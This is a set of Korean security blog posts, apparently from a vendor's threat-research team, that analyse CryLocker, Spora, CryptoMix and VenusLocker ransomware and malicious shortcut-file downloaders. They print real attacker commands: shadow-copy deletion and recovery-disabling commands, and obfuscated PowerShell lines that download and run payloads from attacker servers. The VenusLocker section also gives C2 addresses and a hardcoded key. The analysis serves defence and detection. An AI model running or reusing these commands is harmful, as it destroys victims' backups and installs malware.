작년 9Rig Exploit kit, Sundown Exploit kit SWF 취약점 통해 유포되는 CryLocker 랜섬웨어가 최초 발견되었다.

국내에 많이 알려진 다른 랜섬웨어 (Cerber, Locky )와의 차이점은 사용자 정보를 이미지 호스팅 웹사이트(Imgur), 익명 텍스트 파일 공유사이트(pastebin)에 업로드 하는 것이다.

CryLocker 랜섬웨어는 실행 시 내부에 존재하는 PE 이미지를 메모리 상에서 자기자신에 삽입하여 동작하며 파일 암호화 후 아래와 같은 화면을 띄워 사용자에게 금전적 요구를 한다.

[그림 1] 복호화 방법과 금전을 요구하는 랜섬노트


파일이실행 되면 복호화 관련 안내파일과 자신과 동일한 파일을 %temp% 폴더에 생성한다.

- C:\DOCUME~1\[사용자 계정]\LOCALS~1\Temp\[랜덤명].html

- C:\DOCUME~1\[사용자 계정]\LOCALS~1\Temp\[랜덤명].exe

 

그리고, 다음 예와 같이 시작 프로그램 경로와 %temp%폴더에 생성한 두 파일에 대하여 랜덤명으로 바로가기(*.lnk) 파일을 생성한다. 이로 인해 감염이 이루어지지 않은 파일들에 대해서 추가 감염을 일으킬 수 있다.

- C:\Documents and Settings\[사용자 계정]\시작 메뉴\프로그램\시작프로그램\MWTYtBtR.lnk

- C:\Documents and Settings\[사용자 계정]\시작 메뉴\프로그램\시작프로그램\6KhIcB4O.lnk 


[그림 2] 원본 파일과 동일한 랜섬웨어를 실행하는 바로가기 (*.lnk)파일

[그림 3] 복호화 관련 안내 파일을 실행하는 바로가기 (*.lnk)파일


암호화 대상 드라이브는 “A:\ ,B:\ “를 제외 한 하드 디스크 드라이브, 네트워크 드라이브, 램 디스크 드라이브다.

[그림 4] 대상 드라이브 찾는 코드

[그림 5] GetDriveTypeW의 값


위를 통해 구한 감염 대상 드라이브를 순회하며 암호화를 진행한다. 이 때, 아래 [ 1]에 해당하는 문자열이 존재하는 폴더는 암호화 대상에서 제외된다.


암호화 제외 경로 문자열

tmp

Temp

winnt

Application Data

Appdata

ProgramData

Program Files (x86)

Program Files

$Recycle.Bin

$RECYCLE.BIN

System Volume Information

Boot

Windows

WinSxS

DriverStore

League of Legends

steamapps

cache2

httpcache

GAC_MSIL

GOG Games

Games

My Games

Cookies

History.IE5

History.IE5

node_modules

All Users

AppData

ApplicationData

nvidia

intel

Microsoft",LF

MY_QWemsadkjasd

 

[1] 암호화 제외 경로 문자열


암호화 대상 확장자는 600개 이상이며, 아래한글 확장자인 .hwp도 포함 되어있다.

본문의 처음에 언급했듯 해당 랜섬웨어는 “MachineID, User Name, ComputerName” 등과 같은 사용자 정보를 무료 웹 사이트에 전송한다.

-       pastee.org

-       imgur.com


파일 암호화 후 아래 표와 같이 볼륨 섀도우를 삭제하여 Windows 운영체제에서 제공하는 파일 백업 및 복원 기능을 사용할 수 없게 한다.

명령어

기능

vssadmin.exe delete shadows /all /quiet

볼륨 쉐도우 삭제

[3] 볼륨 섀도우 삭제


그리고, 기존 바탕화면에 존재하는 바로가기 파일(*.lnk)에 대해 “old_shortcut” 폴더를 만들어 모두 옮긴다.

[그림 6] 바탕화면에 생성된 폴더/파일


감염 된 파일은 [원본파일명.cry]로 변경된다.

[그림 7] 감염 된 파일


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹 페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.


현재 V3 에서는 Crylocker 랜섬웨어는 다음 진단명으로 진단하고 있다

- Trojan/Win32.Ransom (2016.09.02.04)

신고
Creative Commons License
Creative Commons License
Posted by 이보원

바로가기(.lnk) 파일을 생성하여 지속적인 감염을 유도하는 Spora 랜섬웨어가 해외에서 발견되었다

최초 발견 당시 러시아를 타겟으로 청구 PDF’문서로 가장한 악성 HTA파일(MD5 : 37477dec05d8ae50aa5204559c81bde3, V3 진단 : VBS/Saclesto(2017.02.20.00))을 메일에 첨부하여 스팸 형태로 유포되었다. HTA파일은 HTML 어플리케이션으로서 내부의 스크립트를 브라우저 없이 실행 가능한 형태로 만들어진 파일이다. 첨부 된 HTA파일을 실행할 경우 Spora 랜섬웨어가 생성 및 실행되어 감염을 일으킨다.

최근에는 스팸 메일 뿐 아니라 Rig-V Exploit kit을 통하여 SWF Flash 취약점을 이용하거나 Chrome사용자를 타겟으로 허위 Popup 창을 통해 접근 유도하여 유포하는 것을 알 수 있다.


[그림 1] - 유포 방식 구조 


[그림 2] - Case3. 허위 Update 클릭 유도하는 Chrome Popup

*출처: Malware-Traffic-Analysis.net


Spora 랜섬웨어 실행 파일은 Visual C로 작성 되었으며 때에 따라 UPX로 팩 되어 유포된다. 실행 시 내부에 존재하는 PE 이미지를 메모리 상에서 자기자신에 삽입하여 동작하며 아래와 같은 명령으로 볼륨 쉐도우 카피를 삭제하여 Windows 운영체제에서 제공하는 파일 백업 및 복원 기능을 사용할 수 없게 한다


WIMC를 이용한 명령 수행

"C:\Windows\System32\wbem\WMIC.exe" process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"




[표 1] - WMIC 명령어


감염 시에는 아래와 같은 23개 확장자 파일들이 암호화 되며 최상위 드라이브에 복구와 관련한 .HTML, .KEY, .LST 파일, 바로가기 (.lnk) 파일 및 원본 Spora 랜섬웨어 복사본이 숨김 속성으로 생성된다. 기존에 존재하던 폴더는 아래와 같이 숨김 속성으로 변하고 그 이름으로 바로가기 파일들이 생성되기 때문에 폴더 접근을 원하는 사용자는 바로가기 파일을 폴더로 착각하여 실행 할 수 있다


암호화 대상 파일 확장자

.backup, .zip, .rar, .7z, .pdf, .xls, .xlsx, .doc, .docx, .rtf, .odt, .cd, .mdb, .1cd, .dbf, . sqlite, .accdb,

.jpg, .jpeg, .tiff, .cdr, .psd, .dwg




[표 2] - 암호화 대상 확장자


[그림 3] - 감염 후 변경 된 최상위 폴더


생성 된 바로가기(.lnk) 파일은 다음과 같은 명령을 수행한다.


[그림 4] - 바로가기 파일 명령


따라서 바로가기 파일 실행 시 원본이 복사 된 Spora 랜섬웨어 파일이 실행된다.

그리고 USB가 연결 된 후 감염이 이루어지면 USB 최상위 경로에도 바로가기 파일이 생성되기 때문에 감염 USB를 다른 시스템에 연결 후 바로가기 파일을 실행한다면 추가 전파 피해가 발생 할 수 있다.  

또한 Spora 랜섬웨어는 다른 랜섬웨어와 다르게 감염 후 파일명 및 확장자를 변경하지 않는다. 따라서 파일을 열기 전에 파일명만으로는 감염여부를 짐작할 수 없다.


[그림 5] - 파일명은 감염 전과 동일하지만 내부 데이터 변경으로 열리지 않음


모든 감염이 끝난 후 복구관련 안내 화면을 확인 할 수 있다. 감염 후에 생성 된 감염자의 고유한 번호를 통해 복구 화면(https://spora.bz)으로 이동하면 복구 시 지불해야 하는 가격이 표시된다. 또한 감염자의 고유번호로 페이지에 로그인하면 제작자와의 채팅기능이 활성화 된다.


[그림 6] - 감염 후 실행 된 .HTML 파일


[그림 7] - 감염 후 실행 된 .HTML 파일


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 시 사용자의 각별한 주의가 필요하다.

현재 V3에서는 Spora 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.Spora (2017.01.17.04)



신고
Creative Commons License
Creative Commons License
Posted by chloechoi

HydraCrypt 변형으로 알려진 CryptoMix 랜섬웨어가 국내 발견 되었다. 해외에서는 작년 말 관공서 및 학교에 사회공학적 기법을 이용해 유포되어 유명해 졌으며 2017년 초 국내에 상륙한 것을 확인하였다. 한편 CryptoMix 와 유사한 CryptoShield 랜섬웨어도 국내 발견 되었다. 해당 랜섬웨어 대한 정보는 조만간 본 블로그를 통하여 게시할 예정이다.

CryptoMix2016년 말 미국 내에서 스팸 메일을 이용해 유포가 활발하였고 타겟은 관공서 직원 및 학교 선생님 대상으로 발송된 것으로 보도되었다.

(*출처: https://www.proofpoint.com/us/threat-insight/post/cryptfile2-ransomware-returns-in-high-volume-url-campaigns)

최근 안랩의 악성코드 위협 분석 및 클라우드 진단 시스템인 ASD(AhnLab Smart Defense)에서는 취약점에 의해 CryptoMix가 생성된 것으로 로그가 확인 되었다. 현재 유포 방식을 작년 말과는 다르게 변경한 것으로 보인다. 또한 20171월 기준 CryptoMixRig-V EK(Exploit Kit)에 의해 유포된 것으로 해외 블로그(malware-traffic-analysis.net: 주로 악성코드 감염과 관련된 네트워크 트래픽 정보를 포스팅 함)에 언급 되어있다.

 

[그림-1] RIG-V EKCryptoMix 동작도

정상 웹 사이트에 취약점이 있는 웹 페이지로 유도하는 스크립트를 삽입하는 공격으로부터 시작 되는 RIG-V EK 는 주로 SWF (CVE-2015-8651) 취약점을 사용한다. 취약점이 존재하는 경우 사용자는 정상적인 웹 사이트를 방문 시 접속만으로도 CryptoMix 랜섬웨어가 실행 되어 컴퓨터 내의 파일들이 암호화 된다.


많이 알려진 LockyCerber 랜섬웨어와는 다르게 CrptoMix 감염될 시 바탕화면이 변경되지는 않지만 아래 그림과 같은 텍스트 파일을 실행시켜 사용자에게 감염된 것을 인지 시켜준다.

[그림-2] 랜섬웨어 경고 텍스트

 

CrptoMix에 암호화된 파일명은 다음과 같이 변경된다.

-       원본파일명.email[****@post.com]_id[pcid].lesli (메일주소 일부 * 처리)

 

[그림-3] 암호화된 파일의 변경된 파일명


 

CryptoMix 로 암호화된 파일의 확장자는 변형 별로 다음과 같이 변경되었다.

암호화된 파일의

변경된 확장자

.code

.scl

.lesli

.rmd

.rmdk

[-1] 감염된 파일의 변경된 확장자 변경 정보

CryptoMix 암호화 대상 확장자는 약 1200여개 이며 [-2]에는 일부만 기술하였다

[-2] 암호화 대상 확장자 일부

CryptoMix1200여개의 확장자를 암호화 대상으로 하고 있으며 위 [-2] 에서 확인할 수 있듯이 아래한글 확장자인 .hwp 도 포함되어 있다.

 

하기 [-3]에 있는 문자열이 포함된 경로(ex: c:\windws)는 암호화를 진행하지 않으며 자기자신이 있는 경로의 파일도 암호화 하지 않는다.

windows

packages

cookies

programdata

microsoft

boot

application data

winnt

tmp

inetcache

nvidia

system volume information

$recycle.bin

temp

webcache

cache

program files (x86)

program files

temporary internet files

appdata

[-3] 암호화 제외 경로 문자열


 

파일 암호화 후 CryptoMix 는 아래 [-4]와 같이PC의 볼륨 쉐도우 삭제 및 부팅 구성 데이터 편집기(bcdedit.exe)를 이용해 복구 무력화를 진행한다.

명령어

기능

vssadmin.exe  Delete Shadows /All /Quiet

볼륨 쉐도우 삭제

wmic  shadowcopy delete

볼륨 쉐도우 삭제

net  stop vss

볼륨 쉐도우 서비스 중지

bcdedit /set {default} bootstatuspolicy ignoreallfailures

Windows 오류 복구 알림창 표시 끔

bcdedit  /set {default} recoveryenabled No

복구 모드 사용 안함

wbadmin delete catalog –quiet

백업 카탈로그 삭제

[-4] 사용자의 복구를 막는 명령어와 기능

일반적인 랜섬웨어는 파일을 암호화하여 목적 달성 후 흔적을 없애기 위해 자가 삭제하지만 CryptoMix의 경우 특정경로에 자기 복제 후 원본파일과 함께 모두 레지스트리 Run키에 등록하여 재부팅 후에도 다시 동작하여 감염을 하게 한다.

 

[그림-4] 레지스트리에 등록된 랜섬웨어

레지스트리

DATA

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Spy Security SoftWare

본 랜섬웨어

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\*Spy Security SoftWare

복사된 랜섬웨어

[-5] CryptoMix 레지스트리 등록 정보(*변형마다 다름)

CryptoMix는 네트워크 접속하여 사용자의 정보를 전송하고 종료된다.

접속 주소(일부 주소 * 처리)

37.59.39.53/os_information/010517/statistic_valid_os.php?info=**

176.123.26.7/offser_valid/pobin_validator/098019_203405/ms_statistic_os_key.php?info=**

[-6] CryptoMix 네트워크 접속 정보(*변형마다 다름)


 

랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.

현재 V3 에서는 CryptoMix 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.CryptoMix (2017.01.26.00)

- Win-Trojan/CryptoMix.Gen (2017.01.26.00)

신고
Creative Commons License
Creative Commons License
Posted by JYP

2016년부터 20172월 현재까지 랜섬웨어 관련 바로가기(*.lnk) 악성코드가 꾸준히 발견되고 있다.

이메일 등에 첨부 된 형태로 유포되고, 워드 매크로 파일 내부에 존재해 매크로가 실행되면서 실행되기도 한다.

 

바로가기(*.lnk)Shell Link Binary File Format으로 다른 데이터를 접근하는데 필요한 정보를 포함하는 데이터이다.


[그림 1] LNK 구조

 

바로가기 파일(*.lnk)을 이용한 랜섬웨어는 주로 String Data를 이용하고, 최근 Extra data를 이용한 랜섬웨어도 발견되었다. Spora 랜섬웨어와 VenusLocker가 대표적으로 LNK를 이용한 랜섬웨어다.


랜섬웨어 관련 LNK 악성코드를 크게 세가지로 분류 할 수 있다.

1.     스크립트(*.js, *.vbs, *.vbe )를 이용한 악성코드

2.     Powershell을 이용한 바로가기(*.lnk)

3.     VenusLocker에서 이용하는 바로가기(*.lnk)

 

발견 시점

주요 특징

2016년 이전

스크립트를 이용한 다운로더

20161

Powershell을 이용한 다운로더

201611

Powershell‘^’ 문자 추가

20171

Powershell function, 변수를 이용

20171

LNK구조(Extra data block)를 이용

[1] 2016년 이후 랜섬웨어 관련 바로가기(*.lnk) 악성코드


1.     스크립트(*.js, *.vbs, *.vbe )를 이용한 악성코드

2016년 이전에는 바로가기(*.lnk) 악성코드는 .js, .vbs, .vbe 등 스크립트 파일을 실행시키고, 추가 악성행위를 하였으나 작년부터는 바로가기(*.lnk) 악성코드는 powershell을 이용해 악성 파일을 다운로드 하는 형태로 변화하였다.


[그림 2] .vbe를 실행시키는 바로가기(*.lnk)


2.     Powershell을 이용한 바로가기(*.lnk)

20161월 최초 발견된 Powershell을 이용한 랜섬웨어 다운로더 형태는 다운로드 주소와 저장되는 폴더/파일명을 평문으로 볼 수 있는 형태였다. [그림 3]

  

[그림 3] powershell을 이용한 LNK악성코드 (평문 데이터)

 

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden

(new-object System.Net.WebClient).DownloadFile('http://2**.**4.5**.**5:1**3/KJSA76.exe',

'%TEMP%\KJSA76.exe'); Start-Process "%TEMP%\KJSA76.exe"

[2] LNK악성코드 (평문 데이터)


201611월에 발견된 변형은 문자열 사이에 ‘^’ 문자가 추가되었다. 이는 Powershell을 실행하는데 문제는 없지만 백신진단을 우회하기 위해 나온 변형으로 보인다. [그림 4]

 

 

[그림 4] Powershell을 이용한 LNK악성코드 (‘^’ 문자)


C:\Windows\System32\cmd.exe /c "P^o^Wer^Sh^e^ll.^exe -exEc^UtIonPolICy bYpaS^S -^NoPrOF^ILe (^N^EW-ob^jEcT systeM.NET.wEB^clIE^nT).DoWnLO^a^d^Fil^e^

('http://**6.3**.**3.**7/gite.exe','%appDatA%.exE')^;^s^TA^rt^-P^RoceSs^ %appDatA%.exE"

[3] LNK악성코드 (‘^’ 문자)


그리고, 현재 유포되고 있는 형태는 20171월에 발견되었다. 단순 Download 명령을 사용하는

것이 아닌 함수와 변수 등을 이용해 악성 파일을 다운로드 받는 형태로 발전하였다. [그림 5]


[그림 5] Powershell을 이용한 악성코드 (함수, 변수 이용)


 

-ExecutionPolicyByPass -NoProfile -command  function g($f) { Start $f; }; $ll = 'sparkle**.com','res**.com','cre**.com','lu**.com','**.net'; $y = New-Object System.Net.WebClient; $ld = 0; $cs = [char]92; $fn = $env:temp+$cs; $lk = $fn+'a.txt'; if (!(Test-Path $lk)) { New-Item -Path $fn -Name 'a.txt' -ItemType File; for($n=1; $n -le 2; $n++) { for($i=$ld; $i -lt $ll.length; $i++) { $dn = 0; $f = $fn+'a'+$n+'.exe'; $u = 'http://'+$ll[$i]+'/counter/?i=(생략)&r='+$i+$n; $y.DownloadFile($u, $f); if (Test

-Path $f) { $var = Get-Item $f; if ($var.length -gt 10000) { $dn = 1; g($f); }; if($dn -eq 1) { $ld=$i; break; }; }; }; }; };

[4] LNK악성코드 (함수, 변수 이용)


 최근 국내에 유포 된 VenusLocker 랜섬웨어도 바로가기(*.lnk)를 이용하여 랜섬웨어를 실행시킨다.

( VenusLocker 랜섬웨어 정보 : http://asec.ahnlab.com/1054 )

[그림 6]과 같이 속성을 보면 자격증.jpg 이미지 파일을 실행하는 것으로 보여 일반 사용자들은 정상 파일로 오인하기 쉽다.


 

[그림 6] VenusLocker 바로가기(*lnk)


그러나, LNK 구조를 이용한 VenusLocker_korean.exe를 실행하는 악성 바로가기 파일이다.

[그림 7] Extra data Block에 존재하는 악성 실행 파일

 

Extra Data는 링크 대상에 대한 추가적인 정보를 나타내는 구조체 집합이다. 이 구조체는 기본 Shell Link Binary File Format에 추가 된 extra data section에 존재한다.


**참고자료 

MSDN :https://msdn.microsoft.com/en-us/library/dd891253.aspx

 

악성 코드는 스팸 메일을 통해 유포되고, 문서파일 내부 매크로에 존재하는 경우가 많으므로 출처를 알 수 없는 메일의 첨부파일은 열지 않도록 한다.

그리고, 항상 최신 버전의 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다.

 

현재 V3에서는 LNK 악성코드를 다음과 같은 진단명으로 진단하고 있다.

-       LNK/Agent (2016.01.15.00)

-       LNK/Downloader (2016.01.21.00)

-       LNK/Powershell (2016.09.09.00)

-       LNK/Runner.Gen (2016.12.22.03)

-       LNK/Venuslocker (2017.01.20.00)

신고
Creative Commons License
Creative Commons License
Posted by 이보원

최근 국내 관공서 등에 사회공학적 기법을 이용한 VenusLocker 랜섬웨어가 유포되고 있다. 해당 랜섬웨어는 주로 스팸메일을 이용하며 첨부된 악성 문서 파일을 통해 드롭 or 다운로드되거나 문서 파일로 가장하여 유포되기도 한다. 

따라서 사용자는 메일 내부의 첨부 파일 실행 시 의도된 파일이 맞는지, 신뢰할 수 있는 내용인지에 대한 확인이 필요하다.


VenusLocker 는 실행 시 대상 PC 의 모든 드라이브를 탐색하여 조건에 맞는 암호화 대상 파일을 선정, 이후 AES 알고리즘을 사용하여 파일을 암호화 시키는데 전제 동작 방식은 [그림 1] 과 같다.

[그림 1] VenusLocker 유포 및 동작 방식


스팸메일 본문에는 의미 있는 내용을 담고 있으며 사용자로 하여 의심 없이 첨부된 파일을 실행시키게끔 유도한다.

[그림 2] 스팸메일 본문


스팸메일에 따라 다양한 형태의 첨부 파일을 가지고 있으며, [그림 3] 처럼 악성 매크로를 포함한 워드 문서 파일의 경우 본문에서 사용자의 매크로 실행을 유도하며 이를 통해 VenusLocker 랜섬웨어를 드롭 or 다운로드 받아 실행시킨다.

[그림 3] 악성 매크로를 포함한 문서 파일


매크로는 난독화 되어 있으며 매크로에 따라 내부에 하드코딩된 주소에서 랜섬웨어를 다운로드 받거나 드롭한다.

[그림 4] 난독화된 매크로


 최근에는 문서 파일을 통한 간접 실행이 아닌 스팸메일에 직접 실행 파일을 첨부하는 형태도 확인되었으며, 이 경우에도 파일명과 확장자를 통해 문서 파일로 위장하고 있는 것을 알 수 있다.

[그림 5] 스팸메일에 직접 첨부된 랜섬웨어


따라서 다음과 같이 유포 방식의 변화를 추정할 수 있다.

[표 1] 유포 방식의 변화


VenusLocker 랜섬웨어는 다음과 같은 기능 및 특징을 가진다.


1. 감염 화면 및 파일 생성

실행 시 [그림 6] 과 같은 화면을 통해 사용자에게 감염 사실을 알리며 복구를 위해 500 달러에 해당 하는 비트코인을 요구한다. 또한 사용자 PC 의 바탕화면에 'ReadMe.txt' 를 생성하며 감염 사실 및 복구 절차에 대한 자세한 내용을 담고 있다.

[그림 6] 감염 화면


화면 종료 시 다음과 같은 팝업 창을 통해 경고문을 띄운다.

[그림 7] 종료 시 팝업 메시지

 

[그림 8] 사용자 PC 바탕화면에 생성되는 ReadMe.txt


2. 가상환경 체크

분석을 회피하기 위해 WMI (Windows Management Instrumentation) 서비스를 이용하여 'Virtual PC', 'VMware Workstation', 'Virtual Box' 등과 같은 가상환경을 체크하며 해당될 경우 프로그램을 종료한다.

[그림 9] 가상환경 체크


3. 날짜 비교

하드코딩된 기준 날짜와 비교하여 현재 시스템의 날짜가 이전일 경우만 실행된다. [그림 10] 의 경우 기준 날짜가 '2017-09-30' 이지만 [표 2] 와 같이 VenusLocker 랜섬웨어마다 다양한 값을 가진다.

[그림 10] 날짜 비교


[표 2] 다양한 기준 날짜


4. 사용자 정보 전송

사용자 PC 정보 (OS, Language, Time, PC name, User name 등) 를 수집하여 공격자 서버로 전송하며, 해당 정보를 조합한 값의 해시값으로 User ID 를 생성한다.

[그림 11] 사용자 정보 전송


[표 3] 사용자 정보 전송 주소


5. 키 생성

사용자 정보 전송이 성공하면 AES 암호화를 위한 키 값을 생성하며, 정보 전송 실패 시 [표 4] 의 하드코딩된 키 값을 사용한다.

[그림 12] 키 생성


[표 4] 내부 키 값


6. 암호화 대상 파일 확인

모든 로컬 드라이브내의 폴더를 검색하여 다음과 같이 암호화 대상 파일을 정한다.

1) 확장자

asf, gif, avi, pbf, dvx, wmmp, ink, cbr, tbz2, xwd, dvi, now, adr, pdf, bmp, wav, ra, evo, wmx, ini, cbz, tg, abw, dxe, odm, ap, xls, ppt, mp4, raw, flv, wvx, jif, gz, tlz, act, mlx, oft, aro, docx, pptx, pdd, saf, qtq, xvid, iff, gzig, vsi, adt, err, pwi, asa, xlsx, docm, php, val, tch, 3d, jpc, jgz, wad, aim, euc, rng, ascx, mp3, xlsm, aac, wave, rts, 3d4, jpf, pak, war, ans, faq, rtx, ashx, waw, pps, ac3, wow, rum, 3df8, jpw, pcv, xpi, asc, fdr, run, asmx, jpg, ppsx, amf, wpk, rv, pbs, mag, puz, z02, ase, fds, ssa, asp, jpeg, ppd, amr, 3g2, scn, adi, mic, rev, z04, bdp, gthr, text, indd, txt, eps, dwg, 3gp, srt, ais, mip, sdn, zap, bdr, idx, unx, asr, rtf, png, dxf, 3gp2, stx, amu, msp, sen, zipx, bib, kwd, wbk, qbb, doc, ace, accdb, 3mm, svi, arr, nav, sfs, zoo, boc, lp2, wsh, bml, rar, djvu, mod, amx, swf, bmc, ncd, sfx, ipa, crd, ltr, 7z, cer, zip, tar, tax2013, avs, trp, bmf, odc, sh, isu, diz, man, arc, cms, psd, cdr, tax2014, bik, vdo, cag, odi, shar, jar, dot, mbox, ari, crt, tif, max, oga, dir, wm, cam, opf, shr, js, dotm, msg, arj, dap, wma, wmv, ogg, divx, wmd, dng, qif, sqx, udf, dotx, nfo, car, htm, adr, ff, utc, ctt, sds, dpl, mxp, bak, rw2, aaf, ppam, sr2, jc, ap, gam, utx, dal, sql, dpr, oxt, odt, r3d, aep, sldx, bay, potm, aro, grf, uvx, ddc, stt, dsk, qpx, pst, ptx, aepx, sldm, crw, ppsm, asa, h3m, uxx, ddcx, tcx, dsp, qtr, log, pef, plb, class, cr2, prc, ascx, h4r, vmf, dex, thmx, eql, xla, mpg, srw, prel, db, dcr, prt, ashx, iwd, vtf, dif, txd, ex, xlam, mpeg, x3f, prproj, pdb, kdc, shw, asmx, ldb, w3g, dii, txf, f90, xll, odb, der, eat, dat, erf, std, asp, lgp, w3x, itdb, upoi, fla, xlv, wps, pem, ppj, csv, mef, ver, indd, lvl, wtd, itl, vmt, for, xpt, xlk, pfx, indl, xml, mrw, wpl, asr, map, wtf, kmz, wks, fpp, cfg, mdb, p12, indt, spv, nef, xlm, qbb, md3, ccd, lcd, wmdb, jav, cwf, dxg, p7b, indb, grle, nrw, yps, bml, mdl, cd, lcf, xl, java, dbb, wpd, p7c, inx, sv5, orf, 1cd, cer, nds, cso, mbx, xlc, lbi, slt, wb2, jfif, idml, game, raf, bck, cms, pbp, disk, mdn, xlr, owl, bp2, dbf, exif, pmd, slot, rwl, html, crt, ppf, dmg, odf, xlsb, pl, bp3, ai, docb, xqx, yab, tpu, dcu, dap, pwf, dvd, odp, xltx, plc, bpl, 3fr, xlt, svg, aip, tpx, dev, htm, pxp, fcd, ods, ltm, pli, clr, arw, xltm, as3, amxx, tu, dob, moz, sad, flp, pab, xlwx, pm, dbx, srf, xlw, as, ape, tur, dox, svr, sav, img, pkb, mcd, res, cp, qel, sdb, snp, api, vc, dpk, url, scm, isz, pkh, cap, rsrc, cpp, rgn, sdc, bkf, usa, uax, col, wdgt, scx, mdf, pot, cc, so, cs, rrt, adpb, ade, usx, umx, cty, abk, sdt, mds, potx, cod, swd, csi, rsw, dic, vcd, ut2, unr, dem, bic, spr, nrg, pptm, psa, qdf, dcp, rte, cch, vhd, ut3, uop, elf, big, sud, nri, blp, bsp, cgf, chk


2) 예외 폴더

Program Files, Microsoft Chart Controls, Windows NT, Program Files (x86), Microsoft Games, Windows Media Player, Windows, Microsoft Office, Windows Mail, Python27, Microsoft.NET,   NVIDIA Corporation, Python34, MicrosoftBAF, Adobe, AliWangWang, MSBuild, IObit, Avira, QQMailPlugin, AVAST Software, wamp, Realtek, CCleaner, Avira, Skype, AVG, 360, Reference Assemblies, Mozilla Firefox, ATI, Tencent, VirtualDJ, Google, USB Camera2, TeamViewer, Intel, WinRAR, ICQ, Internet Explorer, Windows Sidebar, java, Kaspersky Lab, Windows Portable Devices, Yahoo!, Microsoft Bing Pinyin, Windows Photo Viewer


3) 시스템 파일 및 '숨김' 속성을 가진 파일 제외


7. AES 암호화 (파일)

파일이 6. 의 모든 조건을 충족하면 5. 의 과정을 통해 생성된 키 값을 이용하여 AES 암호화를 수행한다. 이때 추가 확장자 검사를 수행하여 하기 확장자에 해당하는 파일일 경우 파일 전체 암호화 및 암호화된 파일명에 '.Venusf' 확장자를 사용한다.

[그림 15] 와 같이 6. 의 모든 조건을 충족하지만 하기 확장자에 해당하는 파일이 아닐 경우 파일의 일부만 암호화 (512 or 1024 Bytes, 랜섬웨어마다 상이) 를 수행하며 암호화된 파일명에 '.Venusp' 확장자를 사용한다.

파일명은 Base64 인코딩을 사용하여 암호화한다.

[전체 암호화 대상 리스트]

txt, cc, docb, doc, xlw, xlsx, jar, potx, ini, h, wps, dot, ppt, xlsm, csv, potm, php, cs, msg, docx, pot, xltx, xml, ppam, html, log, xls, docm, pps, xltm, dwg, ppsx, css, pl, xlt, dotx, pptx, xlsb, dxf, ppsm, py, java, xlm, dotm, pptm, xla, asp, sldx, c, cpp, wpd, rtf, xll, xlam, class, sldm


[그림 13] 파일 암호화


[그림 14] 원본 파일(좌), 암호화된 파일(우)


[그림 15] 일부만 암호화된 파일 (확장자 '.Venusp')


8. RSA 암호화 (키)

4. 의 사용자 정보 전송이 성공하여 AES 암호화에 사용되는 키 값을 생성한 경우, 내부에 하드코딩된 공개키 값을 이용하여 RSA 암호화를 수행한다. 이후 암호화된 키 값을 User ID 와 함께 공격자 서버로 전송한다.

[그림 16] RSA 암호화 (키) 및 전송


[표 5] 암호화된 키 값 전송 주소


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 시 사용자의 각별한 주의가 필요하다.

현재 V3 에서는 VenusLocker 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.VenusLocker (2016.12.26.08)


# 추가 확인 사항 (Update : 2017.02.22)

최근 발견된 VenusLocker 랜섬웨어는 한글 파일 (확장자 '.hwp') 을 대상으로 하고 있으며, 다음과 같은 변형 파일도 확인되었다.

1. '[표 4] 내부 키 값' 변경 : zyQCCu4MI*4T=v!YP4oe9S5hbcoTGb8A

2. '[표 2] 기준 날짜' : 2017-04-01

3. '[표 3] 사용자 정보 전송 주소' : http://185.106.122.2/create.php

4. '[표 5] 암호화된 키 값 전송 주소' : http://185.106.122.2/keysave.php

5. 본문 7. 의 암호화된 파일 확장자

1) 인코딩된 파일명에 '\' 문자가 포함될 경우 : '.VenusLfS', '.VenusLpS' ('부분' 암호화 파일)

2) 인코딩된 파일명에 '\' 문자가 포함되지 않을 경우 : '.VenusLf', '.VenusLp' ('부분' 암호화 파일)

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song

최근 Microsoft Office Word 문서 파일 내부의 사용자 정의 폼을 이용한 악성코드가 스팸 메일과같은 사회적 공학 기법 (Social Engineering) 을 이용하여 유포되고 있으므로 사용자의 각별한 주의가 필요하다.


해당 악성코드는 VBA (Visual Basic for Applications, Microsoft Office 응용프로그램의 확장을 위한 프로그래밍 언어) 매크로를 이용하여 사용자 정의 폼 내부 암호화된 쉘코드(Shellcode)와 내부에 숨겨진 악성 실행 파일을 통해 정상 프로세스에 인젝션(Injection)하여 악성 행위를 수행한다.

[그림 1] Flowchart


Word 문서 파일을 열면 본문의 이미지를 통해 사용자의 매크로 실행을 유도한다.

[그림 2] 본문 이미지


